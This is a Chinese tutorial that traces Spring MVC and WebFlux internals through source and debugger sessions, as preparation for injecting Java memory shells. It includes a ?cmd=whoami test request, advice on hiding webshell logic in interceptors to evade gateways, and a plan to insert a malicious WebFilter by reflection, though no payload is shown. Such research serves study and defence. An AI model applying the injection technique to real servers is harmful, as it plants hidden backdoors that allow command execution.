public final void init() throws ServletException {
// Set bean properties from init parameters.
PropertyValues pvs = new ServletConfigPropertyValues(getServletConfig(), this.requiredProperties);
if (!pvs.isEmpty()) {
try {
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(this);
ResourceLoader resourceLoader = new ServletContextResourceLoader(getServletContext());
bw.registerCustomEditor(Resource.class, new ResourceEditor(resourceLoader, getEnvironment()));
initBeanWrapper(bw);
bw.setPropertyValues(pvs, true);
}
catch (BeansException ex) {
if (logger.isErrorEnabled()) {
logger.error("Failed to set bean properties on servlet '" + getServletName() + "'", ex);
}
throw ex;
}
}
// Let subclasses do whatever initialization they like.
initServletBean();
}
先是从Servlet
的配置中获取初始化参数并创建一个PropertyValues
对象,然后设置Bean
属性;关键在最后一步,调用了initServletBean
这个方法。
我们点进去之后发现该函数并没有写任何内容,说明应该是子类继承的时候override
了该方法:
果不其然,我们在org.springframework.web.servlet.FrameworkServlet
中成功找到了该方法:
代码如下:
@Override
protected final void initServletBean() throws ServletException {
getServletContext().log("Initializing Spring " + getClass().getSimpleName() + " '" + getServletName() + "'");
if (logger.isInfoEnabled()) {
logger.info("Initializing Servlet '" + getServletName() + "'");
}
long startTime = System.currentTimeMillis();
try {
this.webApplicationContext = initWebApplicationContext();
initFrameworkServlet();
}
catch (ServletException | RuntimeException ex) {
logger.error("Context initialization failed", ex);
throw ex;
}
if (logger.isDebugEnabled()) {
String value = this.enableLoggingRequestDetails ?
"shown which may lead to unsafe logging of potentially sensitive data" :
"masked to prevent unsafe logging of potentially sensitive data";
logger.debug("enableLoggingRequestDetails='" + this.enableLoggingRequestDetails +
"': request parameters and headers will be " + value);
}
if (logger.isInfoEnabled()) {
logger.info("Completed initialization in " + (System.currentTimeMillis() - startTime) + " ms");
}
}
这段代码的log
和计时部分就不说了,我们捡关键的说。它先是调用initWebApplicationContext
方法,初始化IOC
容器,在初始化的过程中,会调用到这个onRefresh
方法,一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务:
跟入该方法,可以看到其中默认为空:
说明在它的子类中应该会有override
,果然我们定位到了org.springframework.web.servlet.DispatcherServlet#
方法:
这一下就明了了起来,这不是我们之前提到的九大组件嘛,到这一步就完成了Spring MVC
的九大组件的初始化。
2.11.2.2 url和Controller的关系的建立
你可能会有这样的一个疑惑:我们是用@RequestMapping("/")
注解在方法上的,那Spring MVC
是怎么根据这个注解就把对应的请求和这个方法关联起来的?
从上面的九大组件的初始化中可以看到,有个方法就叫做initHandlerMappings
,我们点进去详细看看:
这段代码和自带的注释写的也比较通俗易懂,分为两部分,第一部分是去ApplicationContext
(包括ancestor contexts
)里面找所有实现了HandlerMappings
接口的类,如果找到了至少一个符合条件的HandlerMapping bean
,那就把它的值转化为列表,并按照Java的默认排序机制对它们进行排序,最后将排序后的列表赋值给 this.handlerMappings
;那如果没有找到,this.handlerMappings
就依然保持为null
;如果不需要检测所有处理程序映射,那就尝试从ApplicationContext
中获取名称为 handlerMapping
的bean
,如果成功获取到了则将其作为单一元素的列表赋值给 this.handlerMappings
,如果获取失败了,那也没关系,因为人家注释里面讲的很明白,会添加一个默认的HandlerMapping
,这也就是我们要讲的第二部分的代码。
第二部分说的是,如果之前一套操作下来,this.handlerMappings
还是为null
,那么就调用 getDefaultStrategies
方法去获取默认的HandlerMapping
,并将其赋给 this.handlerMappings
。
这么一看的话,org.springframework.web.servlet.DispatcherServlet#getDefaultStrategies
这个方法还是挺关键的,我们点进去看看:
这段代码挺有意思,先是加载资源文件,并将其内容以属性键值对的形式存储在defaultStrategies
中;接下来从strategyInterface
获取一个名称,然后用这个名称在defaultStrategies
中查找相应的值,如果找到了,就将这个值按逗号分隔成类名数组,接着遍历这个类名数组,对于每个类名都执行以下两个操作:①尝试通过ClassUtils.forName
方法加载该类 ②使用createDefaultStrategy
方法创建该类的实例;最后将创建的策略对象添加到列表strategies
中并返回。
那就很好奇了,这段代码中的DEFAULT_STRATEGIES_PATH
里面有啥?Ctrl+左键
追踪:
原来是一个名叫DispatcherServlet.properties
的文件,我们可以在左侧的依赖列表里面很快地翻到它,因为它应该是和DispatcherServlet.java
在一块儿的:
从文件内容中,我们可以很快地锁定关键信息:
org.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\
org.springframework.web.servlet.function.support.RouterFunctionMapping
也就是说,会有三个值,分别是BeanNameUrlHandlerMapping
、RequestMappingHandlerMapping
和RouterFunctionMapping
,我们一般用的是第二个,我们点进org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
看一下:
它的父类RequestMappingInfoHandlerMapping
的父类AbstractHandlerMethodMapping
实现了InitializingBean
这个接口,这个接口用于在bean
初始化完成后执行一些特定的自定义初始化逻辑。
点进该接口,只有一个afterPropertiesSet
方法,关于该方法的用途可以参考https://www.python100.com/html/U711CO7MV79C.html
:
那我们就看看AbstractHandlerMethodMapping
它是具体咋实现InitializingBean
的afterPropertiesSet
的吧:
重写的也很简单,调用initHandlerMethods
这个方法,继续跟踪该方法:
注释里面写的很清楚:扫描ApplicationContext
中的bean
,然后检测并注册handler methods
。
我们在org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods
这里打下断点进行调试,到图中这一步之后step into
:
我们来看org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean
这个方法的具体逻辑:
这里我们自然很好奇,这个isHandler
是判断啥的,我们点进去看看:
可以看到,这里并没有给出实现,说明子类中应该会给出override
,于是直接找到了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler
:
很明显,isHandler
是用来检测给定的beanType
类是否带有Controller
注解或者RequestMapping
注解。
解决了这个,继续往后看,后面是调用了detectHandlerMethods
这个方法,我们点进去看看:
我们分开来看,首先是这行代码,它是综合起来写的,意思是说,先判断handler
是否是字符串类型,如果是,则通过ApplicationContext
获取它的类型;否则,直接获取handler
的类型。:
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());
然后是这部分:
Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});
先是获取处理器的用户类,用户类是没有经过代理包装的类,这样就可以确保获取到的是实际处理请求的类;然后是这个selectMethods
方法,这个方法有两个参数,第一个参数就是用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法,它会尝试调用getMappingForMethod
来获取方法的映射信息。
我们点进这个方法,发现它是一个抽象方法:
那就去看看他的子类中有没有对应的实现,直接定位到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#getMappingForMethod
:
我们在下图所示位置打断点调试:
分开来看,首先是第一行:
RequestMappingInfo info = createRequestMappingInfo(method);
解析Controller
类的方法中的注解,生成一个对应的RequestMappingInfo
对象。我们可以step into
进入org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)
方法:
可以看到这个info
里面保存了访问该方法的url pattern
是"/"
,也就是我们在TestController.java
所想要看到的当@RequestMapping("/")
时,调用test
方法。
继续一步步往下走,可以看到走到了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods
的最后:
直接看lambda
表达式里面的内容:
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
registerHandlerMethod(handler, invocableMethod, mapping);
意思是,先用selectInvocableMethod
方法根据method
和userType
选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP
的情况,确保获取到的是可直接调用的原始方法;然后把bean
、Method
和RequestMappingInfo
注册进MappingRegistry
。
到这里,url
和Controller
之间的关系是如何建立的问题就解决了。
2.11.2.3 Spring Interceptor引入与执行流程分析
我们回顾之前聊到的Controller
的思路和下面的4.1
节中所展示的Controller
内存马,可以考虑到这样一个问题:
随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的
shell
路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java
内存马时,尽量不要使用新的路由来专门处理我们注入的webshell
逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell
逻辑的处理。在tomcat
容器下,有filter
、listener
等技术可以达到上述要求。那么在spring
框架层面下,有办法达到上面所说的效果吗? ——摘编自https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.md
和https://landgrey.me/blog/19/
答案是当然有,这就是我们要讲的Spring Interceptor
,Spring
框架中的一种拦截器机制。
那就不禁要问了:这个Spring Interceptor
和我们之前所说的Filter
的区别是啥?
主要有以下六个方面:
主要区别 | 拦截器 | 过滤器 |
---|---|---|
机制 | Java 反射机制 |
函数回调 |
是否依赖Servlet 容器 |
不依赖 | 依赖 |
作用范围 | 对action 请求起作用 |
对几乎所有请求起作用 |
是否可以访问上下文和值栈 | 可以访问 | 不能访问 |
调用次数 | 可以多次被调用 | 在容器初始化时只被调用一次 |
IOC 容器中的访问 |
可以获取IOC 容器中的各个bean (基于FactoryBean 接口) |
不能在IOC 容器中获取bean |
我们在2.10.2
节中给出的TestInterceptor.java
的preHandle
函数这里下断点,然后访问http://127.0.0.1:8080/?cmd=whoami
进入调试:
一步步步入调试之后,发现进入org.springframework.web.servlet.DispatcherServlet#doDispatch
方法:
我们在doDispatch
方法的第一行下断点,重新访问页面调试:
看到了调用了getHandler
这个函数,它的注释写的简单易懂:确定处理当前请求的handler
,我们step into
看看:
通过遍历当前handlerMapping
数组中的handler
对象,来判断哪个handler
来处理当前的request
对象:
继续步入这个函数里面所用到的mapping.getHandler
方法,也就是org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
:
代码简单易懂,先是通过getHandlerInternal
来获取,如果获取不到,那就调用getDefaultHandler
来获取默认的,如果还是获取不到,就直接返回null
;然后检查handler
是不是一个字符串,如果是,说明可能是一个Bean
的名字,这样的话就通过ApplicationContext
来获取对应名字的Bean
对象,这样就确保 handler
最终会是一个合法的处理器对象;接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request)
方法来初始化请求路径的查找;最后通过 getHandlerExecutionChain
方法创建一个处理器执行链。
这么看下来,这个getHandlerExecutionChain
方法很重要,我们步入看看:
遍历adaptedInterceptors
,判断拦截器是否是MappedInterceptor
类型,如果是那就看MappedInterceptor
是否匹配当前请求,如果匹配则将其实际的拦截器添加到执行链中,如果不是这个类型的那就直接将拦截器添加到执行链中。
再回到之前的getHandler
方法中来,看看它的后半段:
主要都是处理跨域资源共享(CORS
)的逻辑,只需要知道在涉及CORS
的时候把request
、executionChain
和CORS
配置通过getCorsHandlerExecutionChain
调用封装后返回就行了。
一步步执行回到一开始的getHandler
中,这里就是调用org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle
方法来遍历所有拦截器进行预处理,后面的代码就基本不需要了解了:
2.12 Spring WebFlux介绍与代码调试分析
SpringWebFlux
是Spring Framework 5.0
中引入的新的响应式web
框架。传统的Spring MVC
在处理请求时是阻塞的,即每个请求都会占用一个线程,如果有大量请求同时到达,就需要大量线程来处理,可能导致资源耗尽。为了解决这个问题,WebFlux
引入了非阻塞的响应式编程模型,通过使用异步非阻塞的方式处理请求,能够更高效地支持大量并发请求,提高系统的吞吐量;并且它能够轻松处理长连接和WebSocket
,适用于需要保持连接的应用场景,如实时通讯和推送服务;在微服务架构中,服务之间的通信往往需要高效处理,WebFlux
可以更好地适应这种异步通信的需求。
关于Reactive
和Spring WebFlux
的相关知识,可以参考知乎上的这篇文章,讲的通俗易懂,很透彻:
WebFlux
框架开发的接口返回类型必须是Mono<T>
或者是Flux<T>
。因此我们第一个需要了解的就是什么是Mono
以及什么是Flux
。
2.12.1 什么是Mono?
Mono
用来表示包含0
或1
个元素的异步序列,它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时,该操作的结果可以包装在Mono
中,这样就使得我们可以以响应式的方式处理异步结果,而不是去阻塞线程等待结果返回,就像我们在2.10.3
节中的那张gif
图中所看到的那样。
下面我们来看看Mono
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Mono.just(T data) |
创建一个包含指定数据的 Mono 。 |
Mono<String> mono = Mono.just("Hello, Mono!"); |
Mono.empty() |
创建一个空的 Mono 。 |
Mono<Object> emptyMono = Mono.empty(); |
Mono.error(Throwable error) |
创建一个包含错误的 Mono 。 |
Mono<Object> errorMono = Mono.error(new RuntimeException("Something went wrong")); |
Mono.fromCallable(Callable<T> supplier) |
从 Callable 创建 Mono ,表示可能抛出异常的异步操作。 |
Mono<String> resultMono = Mono.fromCallable(() -> expensiveOperation()); |
Mono.fromRunnable(Runnable runnable) |
从 Runnable 创建 Mono ,表示没有返回值的异步操作。 |
Mono<Void> runnableMono = Mono.fromRunnable(() -> performAsyncTask()); |
Mono.delay(Duration delay) |
在指定的延迟后创建一个空的 Mono 。 |
Mono<Object> delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just("Delayed Result")); |
Mono.defer(Supplier<? extends Mono<? extends T>> supplier) |
延迟创建 Mono ,直到订阅时才调用供应商方法。 |
Mono<String> deferredMono = Mono.defer(() -> Mono.just("Deferred Result")); |
Mono.whenDelayError(Iterable<? extends Mono<? extends T>> monos) |
将一组 Mono 合并为一个 Mono ,当其中一个出错时,继续等待其他的完成。 |
Mono<String> resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3)); |
Mono.map(Function<? super T, ? extends V> transformer) |
对 Mono 中的元素进行映射。 |
Mono<Integer> resultMono = mono.map(s -> s.length()); |
Mono.flatMap(Function<? super T, ? extends Mono<? extends V>> transformer) |
对 Mono 中的元素进行异步映射。 |
Mono<Integer> resultMono = mono.flatMap(s -> Mono.just(s.length())); |
Mono.filter(Predicate<? super T> tester) |
过滤 Mono 中的元素。 |
Mono<String> filteredMono = mono.filter(s -> s.length() > 5); |
Mono.defaultIfEmpty(T defaultVal) |
如果 Mono 为空,则使用默认值。 |
Mono<String> resultMono = mono.defaultIfEmpty("Default Value"); |
Mono.onErrorResume(Function<? super Throwable, ? extends Mono<? extends T>> fallback) |
在发生错误时提供一个备用的 Mono 。 |
Mono<String> resultMono = mono.onErrorResume(e -> Mono.just("Fallback Value")); |
Mono.doOnNext(Consumer<? super T> consumer) |
在成功时执行操作,但不更改元素。 | Mono<String> resultMono = mono.doOnNext(s -> System.out.println("Received: " + s)); |
Mono.doOnError(Consumer<? super Throwable> onError) |
在发生错误时执行操作。 | Mono<String> resultMono = mono.doOnError(e -> System.err.println("Error: " + e.getMessage())); |
Mono.doFinally(Consumer<SignalType> action) |
无论成功还是出错都执行操作。 | Mono<String> resultMono = mono.doFinally(signal -> System.out.println("Processing finished: " + signal)); |
2.12.2 什么是Flux?
Flux
表示的是0
到N
个元素的异步序列,可以以异步的方式按照时间的推移逐个或一批一批地publish
元素。也就是说,Flux
允许在处理元素的过程中,不必等待所有元素都准备好,而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费,而不会阻塞执行线程。
下面是Flux
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Flux.just |
创建包含指定元素的Flux |
Flux<String> flux = Flux.just("A", "B", "C"); |
Flux.fromIterable |
从Iterable 创建Flux |
List<String> list = Arrays.asList("A", "B", "C"); Flux<String> flux = Flux.fromIterable(list); |
Flux.fromArray |
从数组创建Flux |
String[] array = {"A", "B", "C"}; Flux<String> flux = Flux.fromArray(array); |
Flux.empty |
创建一个空的Flux |
Flux<Object> emptyFlux = Flux.empty(); |
Flux.error |
创建一个包含错误的Flux |
Flux<Object> errorFlux = Flux.error(new RuntimeException("Something went wrong")); |
Flux.range |
创建包含指定范围的整数序列的Flux |
Flux<Integer> rangeFlux = Flux.range(1, 5); |
Flux.interval |
创建包含定期间隔的元素的Flux |
Flux<Long> intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5); |
Flux.merge |
合并多个Flux,按照时间顺序交织元素 | Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> mergedFlux = Flux.merge(flux1, flux2); |
Flux.concat |
连接多个Flux ,按照顺序发布元素 |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> concatenatedFlux = Flux.concat(flux1, flux2); |
Flux.zip |
将多个Flux 的元素进行配对,生成Tuple |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("1", "2"); Flux<Tuple2<String, String>> zippedFlux = Flux.zip(flux1, flux2); |
Flux.filter |
过滤满足条件的元素 | Flux<Integer> numbers = Flux.range(1, 5); Flux<Integer> filteredFlux = numbers.filter(n -> n % 2 == 0); |
Flux.map |
转换每个元素的值 | Flux<String> words = Flux.just("apple", "banana", "cherry"); Flux<Integer> wordLengths = words.map(String::length); |
Flux.flatMap |
将每个元素映射到一个Flux ,并将结果平铺 |
Flux<String> letters = Flux.just("A", "B", "C"); Flux<String> flatMappedFlux = letters.flatMap(letter -> Flux.just(letter, letter.toLowerCase())); |
2.12.3 Spring WebFlux启动过程分析
本来是想先用文字聊一堆关于Spring MVC
和Spring WebFlux
之间的区别的,但是这个已经被网上现有的不多的关于WebFlux
的文章讲烂了,大家随便搜都可以搜到,皮毛性的东西纯属浪费时间,于是我们直接看代码,去深挖WebFlux
的调用过程,从中我们自然可以发现这两者在调用过程中的类似和不同的地方。
我们直接在run
方法这里下断点,然后直接step into
:
一步步地step over
之后,我们可以看到调用了org.springframework.boot.SpringApplication#createApplicationContext
这个方法(前面的那些方法并不重要,直接略过就行):
这个方法光听名字createApplicationContext
,就感觉很重要,因为字面意思就是创建ApplicationContext
,这正是我们感兴趣的内容,我们step into
进去看看:
可以看到,是根据不同的webApplicationType
去选择创建不同的context
,比如我们这里的webApplicationType
就是REACTIVE
,也就是响应式的。
我们step into
这里的create
方法:
发现里面有两个静态方法、一个create
方法和一个默认实现 DEFAULT
,这个默认实现通过加载 ApplicationContextFactory
的所有候选实现,创建相应的上下文;如果没有找到合适的实现,则默认返回一个 AnnotationConfigApplicationContext
实例。
我们继续step over
走下去,可以看到我们REACTIVE
对应的context
是AnnotationConfigReactiveWebServerApplicationContext
:
继续往下走,我们会回到一开始这里,可以看到接下来会调用prepareContext
、refreshContext
和afterRefresh
方法,这个过程就是一系列的初始化、监听的注册等操作:
我们step into
这里的refreshContext
方法:
接着step into
这里的refresh
方法:
进来之后,接着step into
这里的refresh
方法:
可以看到,这里调用了一个super.refresh
,也就是父类的refresh
方法:
我们继续step into
查看,发现这里调用了onRefresh
方法:
我们step into
这里的onRefresh
,发现它调用了关键的org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer
:
继续step over
可以看到,由于我们使用的是Netty
而不是Tomcat
,因此这里最终会调用NettyReactiveWebServerFactory
类中的getWebServer
方法:
而上图中的WebServerManager
类也是一个重要的封装类,里面有两个成员变量,一个是底层服务器的抽象WebServer
,另一个是上层方法处理者的抽象DelayedInitializationHttpHandler
:
那这个webserver
具体是怎么启动的呢?我们继续走到finishRefresh
这个方法这里来,如果这里我们直接无脑step over
,程序最终会回到run
方法,说明,启动webserver
的地方肯定就在这个finishRefresh
方法里面:
我们step into
进去看看:
接着step into
去看看这里调用的getLifecycleProcessor().onRefresh()
方法,发现调用了startBeans
方法,并且设置了自启动:
我们直接step into
这个startBeans
方法,一步步地step over
过后,会发现调用了start
方法,看来我们在逐渐逼近真相:
我们继续step into
这个start
方法,发现调用了org.springframework.context.support.DefaultLifecycleProcessor#doStart
这个方法:
直接step into
进去看看,发现由于dependenciesForBean
为[],所以没有调用doStart
方法,直接就是调用bean.start()
:
继续step into
这个start
方法看看:
怎么会啥也没有呢?奇了怪了,到底是哪里出了问题了呢?我在这一步愣住了,决定把之前打的断点取消,在如下俩图所示的位置打上断点重新调试,因为这两个方法是关键方法:
调试了几遍之后发现是我疏忽了,这里的this.lifecycleBeans
里面其实有三个,每调用一次doStart
方法就会删掉一个:
可以看到,我们刚才调用的是第一个bean
的,所以当然没有启动webserver
相关的方法了:
我们一步步step over
,当memeber.name
为webServerStartStop
时,我们再step into
这个doStart
方法里面的bean.start()
:
即可看到this.weServerManager.start()
:
我们继续step into
这个start
方法:
仔细看看上面红框中的代码,先是初始化HttpHandler
,这个方法其实根据lazyInit
的值的不同来决定何时初始化,如果lazyInit
值为true
,那么就等第一次请求到来时才真正初始化;如果为false
,那么就在 WebServerManager
的 start
方法中调用 initializeHandler
直接初始化:
我们继续步入这里的start
方法,发现其位置为org.springframework.boot.web.embedded.netty.NettyWebServer#start
到这里才算真正明了,真正的webServer
启动的关键方法是org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer
:
从下面的this.webServer
中也可以看到,绑定的是0.0.0.0:9191
:
2.12.4 Spring WebFlux请求处理过程分析
当一个请求过来的时候,Spring WebFlux
是如何进行处理的呢?
这里我们在org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello
这里打上断点,然后进行调试,访问http://127.0.0.1:9191/hello
触发debug
:
一步步地step over
后来到org.springframework.web.reactive.DispatcherHandler#invokeHandler
:
step into
之后可以看到是org.springframework.web.reactive.DispatcherHandler#handle
:
解释上面代码中的return
部分,首先检查handlerMappings
是否为null
,如果是,那就调用createNotFoundError
方法返回一个表示未找到处理程序的Mono
;接着通过CorsUtils.isPreFlightRequest
方法检查是否为预检请求,如果是,那就调用handlePreFlight
方法处理预检请求,如果不是预检请求且handlerMappings
不为null
,通过一系列的操作,获取到请求的handler
,然后调用invokeHandler
方法执行处理程序,再调用handleResult
方法处理执行结果,最终返回一个表示处理完成的Mono
。
左下角的Threads & Variables
这里,我们往下翻,可以看到在此之前是调用了一个org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler
:
我们把之前的断点去掉,然后在该函数这里打上断点:
发现调用了org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal
,我们再回去看,发现调用位置在org.springframework.web.reactive.function.server.support.RouterFunctionMapping#getHandlerInternal
:
点击去:
这里最终创建的是DefaultServerRequest
对象,需要注意的是在创建该对象时将RouterFunctionMapping
中保存的HttpMessageReader
列表作为参数传入,这样DefaultServerRequest
对象就有了解析参数的能力。
回到getHandlerInternal
这个函数,看它的return
里面的匿名函数,发现其调用了org.springframework.web.reactive.function.server.RouterFunction#route
,我们点进去看看:
发现只是在接口中定义了下:
于是去翻之前的Threads & Variables
:
首先调用this.predicate.test
方法来判断传入的ServerRequest
是否符合路由要求,如果匹配到了处理方法,那就将保存的HandlerFunction
实现返回,否则就返回空的Mono
。
点进去这个test
方法,发现还是个接口,结合之前的RouterFunction.java
和RouterFunctions.java
的命名规则,合理猜测test
方法的实现应该是在RequestPredicates.java
里面。果然是有的,我们取消之前下的所有断点,在test
函数这里重新打上断点后调试:
可以看到这里已经拿到了pattern
,那就还差解析request
里面的GET
这个方法了:
我们继续step over
,发现直接跳到了这里,我当时就挺纳闷儿,这里的this.left
和this.right
怎么就已知了:
这俩变量已知说明在执行test
之前肯定是已经被赋值了,我继续往后step over
,从下图中可以看到,此时二者之间多了个&&
,不难猜测,应该是调用了org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate
方法,因为还有一个OrRequestPredicate
,这个or
的话应该就是||
了:
于是我们再在AndRequestPredicate
方法这打上断点,此时我们还没有访问http://127.0.0.1:9191/hello
,就已经触发调试了,这是因为我们在GreetingRouter.java
里面写的代码中有GET
方法、/hello
路由还有and
方法,因此会调用到AndRequestPredicate
,并把GET
和/hello
分别复制给this.left
和this.right
:
到这里,我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求,这个就比较简单了,为什么这么说呢?因为在我们2.12.3
节中的分析中已经基本涉及到了。我们还是在org.springframework.web.reactive.DispatcherHandler#invokeHandler
打下断点调试:
可以看到,这里的this.handlerAdapters
里面有四个handlerAdapter
:
并不是所有的handlerAdapter
都会触发handle
方法,只有当支持我们给定的handler
的handlerAdapter
才可以调用:
然后我们step into
这里的handlerAdapter.handle
方法,发现是在org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle
:
而这里的handlerFunction.handle
也就是我们编写的route
方法:
到这里,关于处理请求的部分也就完结了。
2.12.5 Spring WebFlux过滤器WebFilter运行过程分析
对于Spring WebFlux
而言,由于没有拦截器和监听器这个概念,要想实现权限验证和访问控制的话,就得使用Filter
,关于这一部分知识可以参考Spring的官方文档:
https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html
而在Spring Webflux
中,存在两种类型的过滤器:一个是WebFilter
,实现自org.springframework.web.server.WebFilter
接口。通过实现这个接口,可以定义全局的过滤器,它可以在请求被路由到handler
之前或者之后执行一些逻辑;另一个就是HandlerFilterFunction
,它是一种函数式编程的过滤器类型,实现自org.springframework.web.reactive.function.server.HandlerFilterFunction
接口,与WebFilter
相比它更加注重函数式编程的风格,可以用于处理基于路由的过滤逻辑。
这里我们以WebFilter
为例,看看它的运行过程。新建一个GreetingFilter.java
,代码如下:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our filter!");
}
return webFilterChain.filter(serverWebExchange);
}
}
效果如下:
我们直接在filter
函数这里下断点,进行调试:
注意到return
中调用了filter
函数,于是step into
看看:
可以看到是调用了invokeFilter
函数。我们仔细看看这个DefaultWebFilterChain
类:
可以看到是有三个名为DefaultWebFilterChain
的函数,其中第一个是公共构造函数,第二个是私有构造函数(用来创建chain
的中间节点),第三个是已经过时的构造函数。而在该类的注释中,有这样一句话:
Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.
也就是说,通过调用 DefaultWebFilterChain
类的公共构造函数,我们初始化了一个完整的过滤器链,其中的每个实例都代表链中的一个link
,而不是一个chain
,这就意味着我们无法通过修改下图中的chain.allFilters
来实现新增Filter
:
但是这个类里面有个initChain
方法用来初始化过滤器链,这个方法里面调用的是这个私有构造方法:
那我们就看看这个公共构造方法是在哪里调用的:
光标移至该方法,按两下Ctrl+Alt+F7
:
调用的地方位于org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler
:
那思路就来了,我们只需要构造一个DefaultWebFilterChain
对象,,然后把它通过反射写入到FilteringWebHandler
类对象的chain
属性中就可以了。
那现在就剩下传入handler
和filters
这两个参数了,这个handler
参数很好搞,就在chain
里面:
然后这个filters
的话,我们可以先获取到它本来的filters
,然后把我们自己写的恶意filter
放进去,放到第一位,就可以了。
那现在就是从内存中找到DefaultWebFilterChain
的位置,然后一步步反射就行。这里直接使用工具https://github.com/c0ny1/java-object-searcher
,克隆下来该项目,放到idea
中mvn clean install
:
然后把生成的这个java-object-searcher-0.1.0.jar
放到我们的WebFluxMemoryShellDemo
项目的Project Structure
中的Libraries
中:
然后我们把我们的GreetingFilter.java
的代码修改成下面的:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our GreetingFilter!");
}
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("DefaultWebFilterChain").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
searcher.searchObject();
return webFilterChain.filter(serverWebExchange);
}
}
这里我们设置的关键字是DefaultWebFilterChain
,然后直接运行:
也就是说,位置是在:
TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
